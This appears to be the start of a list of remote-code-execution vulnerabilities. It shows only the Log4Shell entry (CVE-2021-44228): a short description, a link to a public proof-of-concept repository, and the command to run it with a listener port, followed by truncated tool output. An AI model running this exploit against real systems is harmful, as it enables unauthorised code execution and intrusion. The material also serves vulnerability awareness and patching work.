Top 50 Vulnerabilities Leading to RCE in Public-Facing Applications

Log4Shell Vulnerability in Log4j

• Vendor: Apache

• CVE: CVE-2021-44228

• CVSS: 10.0

• Description: A critical flaw in the Apache Log4j library that allows for RCE via specially crafted log messages.

https://github.com/kozmer/log4j-shell-poc

python3 poc.py --userip localhost --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozm…